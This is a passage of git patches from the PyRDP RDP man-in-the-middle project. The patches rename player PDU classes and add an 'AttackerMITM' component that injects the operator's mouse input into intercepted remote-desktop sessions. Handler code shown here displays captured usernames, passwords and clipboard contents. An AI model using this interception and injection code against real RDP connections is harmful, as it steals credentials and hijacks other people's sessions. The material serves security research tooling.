self.header = header # Uint16LE self.timestamp = timestamp # Uint64LE PDU.__init__(self, payload) diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 6ca4a0203..8423704e9 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -7,8 +7,8 @@ from PySide2.QtCore import Signal from PySide2.QtWidgets import QWidget -from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerMessageLayer -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerLayer +from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.BaseTab import BaseTab from pyrdp.ui import QRemoteDesktop @@ -23,8 +23,8 @@ class LiveTab(BaseTab): def __init__(self, parent: QWidget = None): super().__init__(QRemoteDesktop(1024, 768), parent) self.tcp = AsyncIOTCPLayer() - self.player = PlayerMessageLayer() - self.eventHandler = PlayerMessageHandler(self.widget, self.text) + self.player = PlayerLayer() + self.eventHandler = PlayerHandler(self.widget, self.text) LayerChainItem.chain(self.tcp, self.player) self.player.addObserver(self.eventHandler) diff --git a/pyrdp/player/PlayerMessageHandler.py b/pyrdp/player/PlayerHandler.py similarity index 93% rename from pyrdp/player/PlayerMessageHandler.py rename to pyrdp/player/PlayerHandler.py index 5e4ddcb71..348ecd687 100644 --- a/pyrdp/player/PlayerMessageHandler.py +++ b/pyrdp/player/PlayerHandler.py @@ -11,18 +11,18 @@ from pyrdp.core import decodeUTF16LE from pyrdp.core.scancode import scancodeToChar from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, SlowPathUpdateType -from pyrdp.layer import PlayerMessageObserver +from pyrdp.layer import PlayerObserver from pyrdp.logging import log from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientInfoParser, ClipboardParser, FastPathOutputParser, \ SlowPathParser from pyrdp.parser.rdp.connection import ClientConnectionParser from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ - FastPathScanCodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, PlayerMessagePDU, UpdatePDU + FastPathScanCodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, PlayerPDU, UpdatePDU from pyrdp.pdu.rdp.fastpath import FastPathOutputEvent from pyrdp.ui import RDPBitmapToQtImage -class PlayerMessageHandler(PlayerMessageObserver): +class PlayerHandler(PlayerObserver): """ Class to manage the display of the RDP player when reading events. """ @@ -43,11 +43,11 @@ def __init__(self, viewer, text): self.buffer = b"" - def onConnectionClose(self, pdu: PlayerMessagePDU): + def onConnectionClose(self, pdu: PlayerPDU): self.text.moveCursor(QTextCursor.End) self.text.insertPlainText("\n") - def onOutput(self, pdu: PlayerMessagePDU): + def onOutput(self, pdu: PlayerPDU): pdu = self.outputParser.parse(pdu.payload) for event in pdu.events: @@ -63,7 +63,7 @@ def onOutput(self, pdu: PlayerMessagePDU): else: log.debug("Reassembling output event...") - def onInput(self, pdu: PlayerMessagePDU): + def onInput(self, pdu: PlayerPDU): pdu = self.inputParser.parse(pdu.payload) for event in pdu.events: @@ -108,7 +108,7 @@ def handleBitmap(self, bitmapData: BitmapUpdateData): bitmapData.destRight - bitmapData.destLeft + 1, bitmapData.destBottom - bitmapData.destTop + 1) - def onClientInfo(self, pdu: PlayerMessagePDU): + def onClientInfo(self, pdu: PlayerPDU): clientInfoPDU = self.clientInfoParser.parse(pdu.payload) self.text.insertPlainText("USERNAME: {}\nPASSWORD: {}\nDOMAIN: {}\n" .format(clientInfoPDU.username.replace("\0", ""), @@ -116,7 +116,7 @@ def onClientInfo(self, pdu: PlayerMessagePDU): clientInfoPDU.domain.replace("\0", ""))) self.text.insertPlainText("--------------------\n") - def onSlowPathPDU(self, pdu: PlayerMessagePDU): + def onSlowPathPDU(self, pdu: PlayerPDU): pdu = self.dataParser.parse(pdu.payload) if isinstance(pdu, ConfirmActivePDU): @@ -133,14 +133,14 @@ def onSlowPathPDU(self, pdu: PlayerMessagePDU): elif isinstance(event, KeyboardEvent): self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN != 0) - def onClipboardData(self, pdu: PlayerMessagePDU): + def onClipboardData(self, pdu: PlayerPDU): formatDataResponsePDU: FormatDataResponsePDU = self.clipboardParser.parse(pdu.payload) self.text.moveCursor(QTextCursor.End) self.text.insertPlainText("\n=============\n") self.text.insertPlainText("CLIPBOARD DATA: {}".format(decodeUTF16LE(formatDataResponsePDU.requestedFormatData))) self.text.insertPlainText("\n=============\n") - def onClientData(self, pdu: PlayerMessagePDU): + def onClientData(self, pdu: PlayerPDU): """ Prints the clientName on the screen """ diff --git a/pyrdp/player/Replay.py b/pyrdp/player/Replay.py index b169e647b..eb5813f4f 100644 --- a/pyrdp/player/Replay.py +++ b/pyrdp/player/Replay.py @@ -2,8 +2,8 @@ from collections import defaultdict from typing import BinaryIO, Dict, List -from pyrdp.layer import PlayerMessageLayer -from pyrdp.pdu import PlayerMessagePDU +from pyrdp.layer import PlayerLayer +from pyrdp.pdu import PlayerPDU class Replay: @@ -27,11 +27,11 @@ def __init__(self, file: BinaryIO): file.seek(0) # Register PDUs as they are parsed by the layer - def registerEvent(pdu: PlayerMessagePDU): + def registerEvent(pdu: PlayerPDU): events[pdu.timestamp].append(currentMessagePosition) # The layer will take care of parsing for us - player = PlayerMessageLayer() + player = PlayerLayer() player.createObserver(onPDUReceived = registerEvent) # Parse all events in the file diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index e24877249..194a012fd 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -1,8 +1,8 @@ from PySide2.QtWidgets import QApplication, QWidget -from pyrdp.layer import PlayerMessageLayer +from pyrdp.layer import PlayerLayer from pyrdp.player.ReplayBar import ReplayBar -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.BaseTab import BaseTab from pyrdp.player.Replay import Replay from pyrdp.player.ReplayThread import ReplayThread @@ -25,7 +25,7 @@ def __init__(self, fileName: str, parent: QWidget = None): self.fileName = fileName self.file = open(self.fileName, "rb") - self.eventHandler = PlayerMessageHandler(self.widget, self.text) + self.eventHandler = PlayerHandler(self.widget, self.text) replay = Replay(self.file) self.thread = ReplayThread(replay) @@ -43,7 +43,7 @@ def __init__(self, fileName: str, parent: QWidget = None): self.layout().insertWidget(0, self.controlBar) - self.player = PlayerMessageLayer() + self.player = PlayerLayer() self.player.addObserver(self.eventHandler) def readEvent(self, position: int): diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 25ab24b32..831c80f12 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -10,7 +10,7 @@ from pyrdp.player.LiveThread import LiveThread from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayTab import ReplayTab diff --git a/pyrdp/recording/observer.py b/pyrdp/recording/observer.py index 573ff4903..f1a9a1054 100644 --- a/pyrdp/recording/observer.py +++ b/pyrdp/recording/observer.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.layer import FastPathObserver, SlowPathObserver from pyrdp.pdu import ConfirmActivePDU, InputPDU, UpdatePDU from pyrdp.pdu.rdp.fastpath import FastPathPDU @@ -12,7 +12,7 @@ class RecordingFastPathObserver(FastPathObserver): - def __init__(self, recorder: Recorder, messageType: PlayerMessageType): + def __init__(self, recorder: Recorder, messageType: PlayerPDUType): self.recorder = recorder self.messageType = messageType FastPathObserver.__init__(self) @@ -29,5 +29,5 @@ def __init__(self, recorder: Recorder): def onPDUReceived(self, pdu): if isinstance(pdu, (ConfirmActivePDU, UpdatePDU, InputPDU)): - self.recorder.record(pdu, PlayerMessageType.SLOW_PATH_PDU) + self.recorder.record(pdu, PlayerPDUType.SLOW_PATH_PDU) SlowPathObserver.onPDUReceived(self, pdu) diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index 2d8ac7e8c..e97557831 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -8,8 +8,8 @@ from pathlib import Path from typing import Dict, List, Optional, Union -from pyrdp.enum import ParserMode, PlayerMessageType -from pyrdp.layer import LayerChainItem, PlayerMessageLayer +from pyrdp.enum import ParserMode, PlayerPDUType +from pyrdp.layer import LayerChainItem, PlayerLayer from pyrdp.logging import log from pyrdp.parser import BasicFastPathParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, Parser, \ SlowPathParser @@ -24,13 +24,13 @@ class Recorder: """ def __init__(self, transports: List[LayerChainItem]): - self.parsers: Dict[PlayerMessageType, Parser] = { - PlayerMessageType.FAST_PATH_INPUT: BasicFastPathParser(ParserMode.CLIENT), - PlayerMessageType.FAST_PATH_OUTPUT: BasicFastPathParser(ParserMode.SERVER), - PlayerMessageType.CLIENT_INFO: ClientInfoParser(), - PlayerMessageType.SLOW_PATH_PDU: SlowPathParser(), - PlayerMessageType.CLIPBOARD_DATA: ClipboardParser(), - PlayerMessageType.CLIENT_DATA: ClientConnectionParser(), + self.parsers: Dict[PlayerPDUType, Parser] = { + PlayerPDUType.FAST_PATH_INPUT: BasicFastPathParser(ParserMode.CLIENT), + PlayerPDUType.FAST_PATH_OUTPUT: BasicFastPathParser(ParserMode.SERVER), + PlayerPDUType.CLIENT_INFO: ClientInfoParser(), + PlayerPDUType.SLOW_PATH_PDU: SlowPathParser(), + PlayerPDUType.CLIPBOARD_DATA: ClipboardParser(), + PlayerPDUType.CLIENT_DATA: ClientConnectionParser(), } self.topLayers = [] @@ -39,18 +39,18 @@ def __init__(self, transports: List[LayerChainItem]): self.addTransport(transport) def addTransport(self, transportLayer: LayerChainItem): - player = PlayerMessageLayer() + player = PlayerLayer() player.setPrevious(transportLayer) self.topLayers.append(player) - def setParser(self, messageType: PlayerMessageType, parser: Parser): + def setParser(self, messageType: PlayerPDUType, parser: Parser): """ Set the parser to use for a given message type. """ self.parsers[messageType] = parser - def record(self, pdu: Optional[PDU], messageType: PlayerMessageType): + def record(self, pdu: Optional[PDU], messageType: PlayerPDUType): """ Encapsulate the pdu properly, then record the data """ From 896bf5a30ffbe30f2a450a1cd48b089b35aa44e2 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 10:47:37 -0400 Subject: [PATCH 009/113] Add parent argument --- pyrdp/player/ReplayTab.py | 6 +++--- pyrdp/ui/qt.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index 194a012fd..624fbeb1b 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -1,10 +1,10 @@ from PySide2.QtWidgets import QApplication, QWidget from pyrdp.layer import PlayerLayer -from pyrdp.player.ReplayBar import ReplayBar -from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.BaseTab import BaseTab +from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.Replay import Replay +from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayThread import ReplayThread from pyrdp.ui import QRemoteDesktop @@ -19,7 +19,7 @@ def __init__(self, fileName: str, parent: QWidget = None): :param fileName: name of the file to read. :param parent: parent widget. """ - self.viewer = QRemoteDesktop(800, 600) + self.viewer = QRemoteDesktop(800, 600, parent) super().__init__(self.viewer, parent) QApplication.instance().aboutToQuit.connect(self.onClose) diff --git a/pyrdp/ui/qt.py b/pyrdp/ui/qt.py index 8631b7ca4..7fb3b5ea8 100644 --- a/pyrdp/ui/qt.py +++ b/pyrdp/ui/qt.py @@ -171,7 +171,7 @@ def resize(self, width: int, height: int): """ self._buffer = QImage(width, height, QImage.Format_RGB32) super().resize(width, height) - + def paintEvent(self, e: QEvent): """ Call when Qt renderer engine estimate that is needed From 0d536a4e8af490ada37e238c162164ec73d524d9 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 14:04:17 -0400 Subject: [PATCH 010/113] Implement mouse position and button actions --- pyrdp/enum/__init__.py | 2 +- pyrdp/enum/player.py | 14 +++++- pyrdp/mitm/AttackerMITM.py | 80 +++++++++++++++++++++++++++++++++ pyrdp/mitm/mitm.py | 21 ++++++--- pyrdp/parser/player.py | 81 +++++++++++++++++++++++++++------- pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/player.py | 25 +++++++++++ pyrdp/player/LiveTab.py | 26 ++++++----- pyrdp/player/PlayerLayerSet.py | 15 +++++++ pyrdp/player/RDPMITMWidget.py | 58 ++++++++++++++++++++++++ pyrdp/player/__init__.py | 1 + 11 files changed, 290 insertions(+), 35 deletions(-) create mode 100644 pyrdp/mitm/AttackerMITM.py create mode 100644 pyrdp/player/PlayerLayerSet.py create mode 100644 pyrdp/player/RDPMITMWidget.py diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index ac1bd5f9d..b0f803d7a 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -8,7 +8,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType -from pyrdp.enum.player import PlayerPDUType +from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * from pyrdp.enum.segmentation import SegmentationPDUType from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 0fbb33109..ede71da78 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -12,4 +12,16 @@ class PlayerPDUType(IntEnum): SLOW_PATH_PDU = 4 # For slow-path PDUs CONNECTION_CLOSE = 5 # To advertise the end of the connection CLIPBOARD_DATA = 6 # To collect clipboard data - CLIENT_DATA = 7 # Contains the clientName \ No newline at end of file + CLIENT_DATA = 7 # Contains the clientName + MOUSE_MOVE = 8 # Mouse move event from the player + MOUSE_BUTTON = 9 # Mouse button event from the player + MOUSE_WHEEL = 10 # Mouse wheel event from the player + + +class MouseButton(IntEnum): + """ + Mouse button types + """ + LEFT_BUTTON = 1 + RIGHT_BUTTON = 2 + MIDDLE_BUTTON = 3 \ No newline at end of file diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py new file mode 100644 index 000000000..9c6218f0e --- /dev/null +++ b/pyrdp/mitm/AttackerMITM.py @@ -0,0 +1,80 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from logging import LoggerAdapter + +from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag +from pyrdp.layer import FastPathLayer, PlayerLayer +from pyrdp.pdu import FastPathMouseEvent, FastPathPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU +from pyrdp.recording import Recorder + + +class AttackerMITM: + """ + MITM component for commands coming from the player. + """ + + def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, recorder: Recorder): + """ + :param server: fast-path layer for the server side + :param attacker: player layer for the attacker side + :param log: logger for this component + :param recorder: recorder for this connection + """ + + self.server = server + self.attacker = attacker + self.log = log + self.recorder = recorder + + self.attacker.createObserver( + onPDUReceived = self.onPDUReceived, + ) + + self.handlers = { + PlayerPDUType.MOUSE_MOVE: self.handleMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.handleMouseButton, + } + + + def onPDUReceived(self, pdu: PlayerPDU): + if pdu.header in self.handlers: + self.handlers[pdu.header](pdu) + + + def handleMouseMove(self, pdu: PlayerMouseMovePDU): + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = PointerFlag.PTRFLAGS_MOVE + x = pdu.x + y = pdu.y + event = FastPathMouseEvent(eventHeader, flags, x, y) + + pduHeader = 0 + pdu = FastPathPDU(pduHeader, [event]) + self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) + self.server.sendPDU(pdu) + + + def handleMouseButton(self, pdu: PlayerMouseButtonPDU): + mapping = { + MouseButton.LEFT_BUTTON: PointerFlag.PTRFLAGS_BUTTON1, + MouseButton.RIGHT_BUTTON: PointerFlag.PTRFLAGS_BUTTON2, + MouseButton.MIDDLE_BUTTON: PointerFlag.PTRFLAGS_BUTTON3, + } + + if pdu.button not in mapping: + return + + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = mapping[pdu.button] | (PointerFlag.PTRFLAGS_DOWN if pdu.pressed else 0) + x = pdu.x + y = pdu.y + event = FastPathMouseEvent(eventHeader, flags, x, y) + + pduHeader = 0 + pdu = FastPathPDU(pduHeader, [event]) + self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) + self.server.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 3b901096d..ef01dd5dd 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -13,12 +13,12 @@ from pyrdp.core import AwaitableClientFactory from pyrdp.core.ssl import ClientTLSContext, ServerTLSContext from pyrdp.enum import MCSChannelName, ParserMode, PlayerPDUType, SegmentationPDUType -from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, TwistedTCPLayer, \ - VirtualChannelLayer +from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver from pyrdp.logging.adapters import SessionLogger from pyrdp.logging.observers import FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger from pyrdp.mcs import MCSClientChannel, MCSServerChannel +from pyrdp.mitm.AttackerMITM import AttackerMITM from pyrdp.mitm.ClipboardMITM import ActiveClipboardStealer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITM @@ -31,6 +31,7 @@ from pyrdp.mitm.TCPMITM import TCPMITM from pyrdp.mitm.VirtualChannelMITM import VirtualChannelMITM from pyrdp.mitm.X224MITM import X224MITM +from pyrdp.player import TwistedPlayerLayerSet from pyrdp.recording import FileLayer, Recorder, RecordingFastPathObserver, RecordingSlowPathObserver @@ -54,6 +55,9 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.serverLog = log.createChild("server") """Base logger for the server side""" + self.attackerLog = log.createChild("attacker") + """Base logger for the attacker side""" + self.rc4Log = log.createChild("rc4") """Logger for RC4 secrets""" @@ -69,7 +73,7 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.server = RDPLayerSet() """Layers on the server side""" - self.attacker = TwistedTCPLayer() + self.player = TwistedPlayerLayerSet() """Layers on the attacker side""" self.recorder = Recorder([]) @@ -79,7 +83,7 @@ def __init__(self, log: SessionLogger, config: MITMConfig): """MITM components for virtual channels""" serverConnector = self.connectToServer() - self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.attacker, self.getLog("tcp"), self.recorder, serverConnector) + self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.player.tcp, self.getLog("tcp"), self.recorder, serverConnector) """TCP MITM component""" self.x224 = X224MITM(self.client.x224, self.server.x224, self.getLog("x224"), self.state, serverConnector, self.startTLS) @@ -97,6 +101,8 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.fastPath: FastPathMITM = None """Fast-path MITM component""" + self.attacker: AttackerMITM = None + self.client.x224.addObserver(X224Logger(self.getClientLog("x224"))) self.client.mcs.addObserver(MCSLogger(self.getClientLog("mcs"))) self.client.slowPath.addObserver(SlowPathLogger(self.getClientLog("slowpath"))) @@ -107,6 +113,8 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.server.slowPath.addObserver(SlowPathLogger(self.getServerLog("slowpath"))) self.server.slowPath.addObserver(RecordingSlowPathObserver(self.recorder)) + self.player.player.addObserver(LayerLogger(self.attackerLog)) + self.config.outDir.mkdir(parents=True, exist_ok=True) self.config.replayDir.mkdir(exist_ok=True) self.config.fileDir.mkdir(exist_ok=True) @@ -159,12 +167,12 @@ async def connectToServer(self): await serverFactory.connected.wait() if self.config.attackerHost is not None and self.config.attackerPort is not None: - attackerFactory = AwaitableClientFactory(self.attacker) + attackerFactory = AwaitableClientFactory(self.player.tcp) reactor.connectTCP(self.config.attackerHost, self.config.attackerPort, attackerFactory) try: await asyncio.wait_for(attackerFactory.connected.wait(), 1.0) - self.recorder.addTransport(self.attacker) + self.recorder.addTransport(self.player.tcp) except asyncio.TimeoutError: self.log.error("Failed to connect to recording host: timeout expired") @@ -226,6 +234,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath) + self.attacker = AttackerMITM(self.server.fastPath, self.player.player, self.log, self.recorder) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index c3720a4c6..d7d87d604 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,38 +1,89 @@ from io import BytesIO -from pyrdp.core import Uint16LE, Uint64LE +from pyrdp.core import Uint16LE, Uint64LE, Uint8 from pyrdp.enum import PlayerPDUType +from pyrdp.enum.player import MouseButton from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerPDU +from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU class PlayerParser(SegmentationParser): + def __init__(self): + super().__init__() + + self.parsers = { + PlayerPDUType.MOUSE_MOVE: self.parseMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, + } + + self.writers = { + PlayerPDUType.MOUSE_MOVE: self.writeMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton + } + + def getPDULength(self, data: bytes) -> int: + return Uint64LE.unpack(data[: 8]) + + def isCompletePDU(self, data: bytes) -> bool: + if len(data) < 8: + return False + + return len(data) >= self.getPDULength(data) + def parse(self, data: bytes) -> PlayerPDU: stream = BytesIO(data) length = Uint64LE.unpack(stream) type = PlayerPDUType(Uint16LE.unpack(stream)) timestamp = Uint64LE.unpack(stream) - payload = stream.read(length - 18) + if type in self.parsers: + return self.parsers[type](stream, timestamp) + + payload = stream.read(length - 18) return PlayerPDU(type, timestamp, payload) def write(self, pdu: PlayerPDU) -> bytes: - stream = BytesIO() + substream = BytesIO() + + Uint16LE.pack(pdu.header, substream) + Uint64LE.pack(pdu.timestamp, substream) + + if pdu.header in self.writers: + self.writers[pdu.header](pdu, substream) - # 18 bytes of header + the payload - Uint64LE.pack(len(pdu.payload) + 18, stream) - Uint16LE.pack(pdu.header, stream) - Uint64LE.pack(pdu.timestamp, stream) - stream.write(pdu.payload) + substream.write(pdu.payload) + substreamValue = substream.getvalue() + + stream = BytesIO() + Uint64LE.pack(len(substreamValue) + 8, stream) + stream.write(substreamValue) return stream.getvalue() - def getPDULength(self, data): - return Uint64LE.unpack(data[: 8]) + def parseMousePosition(self, stream: BytesIO) -> (int, int): + x = Uint16LE.unpack(stream) + y = Uint16LE.unpack(stream) + return x, y - def isCompletePDU(self, data): - if len(data) < 8: - return False + def writeMousePosition(self, x: int, y: int, stream: BytesIO): + Uint16LE.pack(x, stream) + Uint16LE.pack(y, stream) + + def parseMouseMove(self, stream: BytesIO, timestamp: int) -> PlayerMouseMovePDU: + x, y = self.parseMousePosition(stream) + return PlayerMouseMovePDU(timestamp, x, y) + + def writeMouseMove(self, pdu: PlayerMouseMovePDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + + def parseMouseButton(self, stream: BytesIO, timestamp: int) -> PlayerMouseButtonPDU: + x, y = self.parseMousePosition(stream) + button = MouseButton(Uint8.unpack(stream)) + pressed = Uint8.unpack(stream) + return PlayerMouseButtonPDU(timestamp, x, y, button, bool(pressed)) - return len(data) >= self.getPDULength(data) \ No newline at end of file + def writeMouseButton(self, pdu: PlayerMouseButtonPDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + Uint8.pack(pdu.button.value, stream) + Uint8.pack(int(pdu.pressed), stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 0541e0694..3bcf93e8a 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerPDU +from pyrdp.pdu.player import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 9ce108eb3..ec295d766 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -5,6 +5,7 @@ # from pyrdp.enum import PlayerPDUType +from pyrdp.enum.player import MouseButton from pyrdp.pdu.pdu import PDU @@ -18,3 +19,27 @@ def __init__(self, header: PlayerPDUType, timestamp: int, payload: bytes): self.header = header # Uint16LE self.timestamp = timestamp # Uint64LE PDU.__init__(self, payload) + + +class PlayerMouseMovePDU(PlayerPDU): + """ + PDU definition for mouse move events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int): + super().__init__(PlayerPDUType.MOUSE_MOVE, timestamp, b"") + self.x = x + self.y = y + + +class PlayerMouseButtonPDU(PlayerPDU): + """ + PDU definition for mouse button events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int, button: MouseButton, pressed: bool): + super().__init__(PlayerPDUType.MOUSE_BUTTON, timestamp, b"") + self.x = x + self.y = y + self.button = button + self.pressed = pressed \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 8423704e9..1d1e32f0f 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -3,14 +3,15 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # +import asyncio from PySide2.QtCore import Signal from PySide2.QtWidgets import QWidget -from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerLayer -from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.BaseTab import BaseTab -from pyrdp.ui import QRemoteDesktop +from pyrdp.player.PlayerHandler import PlayerHandler +from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet +from pyrdp.player.RDPMITMWidget import RDPMITMWidget class LiveTab(BaseTab): @@ -21,19 +22,22 @@ class LiveTab(BaseTab): connectionClosed = Signal(object) def __init__(self, parent: QWidget = None): - super().__init__(QRemoteDesktop(1024, 768), parent) - self.tcp = AsyncIOTCPLayer() - self.player = PlayerLayer() + layers = AsyncIOPlayerLayerSet() + rdpWidget = RDPMITMWidget(1024, 768, layers.player) + + super().__init__(rdpWidget, parent) + self.layers = layers + self.rdpWidget = rdpWidget self.eventHandler = PlayerHandler(self.widget, self.text) - LayerChainItem.chain(self.tcp, self.player) - self.player.addObserver(self.eventHandler) + self.layers.player.addObserver(self.eventHandler) + self.rdpWidget.handleEvents = True - def getProtocol(self): - return self.tcp + def getProtocol(self) -> asyncio.Protocol: + return self.layers.tcp def onDisconnection(self): self.connectionClosed.emit() def onClose(self): - self.tcp.disconnect(True) + self.layers.tcp.disconnect(True) diff --git a/pyrdp/player/PlayerLayerSet.py b/pyrdp/player/PlayerLayerSet.py new file mode 100644 index 000000000..6d5c1fe51 --- /dev/null +++ b/pyrdp/player/PlayerLayerSet.py @@ -0,0 +1,15 @@ +from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerLayer, TwistedTCPLayer + + +class TwistedPlayerLayerSet: + def __init__(self): + self.tcp = TwistedTCPLayer() + self.player = PlayerLayer() + LayerChainItem.chain(self.tcp, self.player) + + +class AsyncIOPlayerLayerSet: + def __init__(self): + self.tcp = AsyncIOTCPLayer() + self.player = PlayerLayer() + LayerChainItem.chain(self.tcp, self.player) \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py new file mode 100644 index 000000000..ede216ef5 --- /dev/null +++ b/pyrdp/player/RDPMITMWidget.py @@ -0,0 +1,58 @@ +import logging +import time +from typing import Optional + +from PySide2.QtCore import Qt +from PySide2.QtGui import QMouseEvent +from PySide2.QtWidgets import QWidget + +from pyrdp.enum import MouseButton +from pyrdp.layer import PlayerLayer +from pyrdp.logging import LOGGER_NAMES +from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU +from pyrdp.ui import 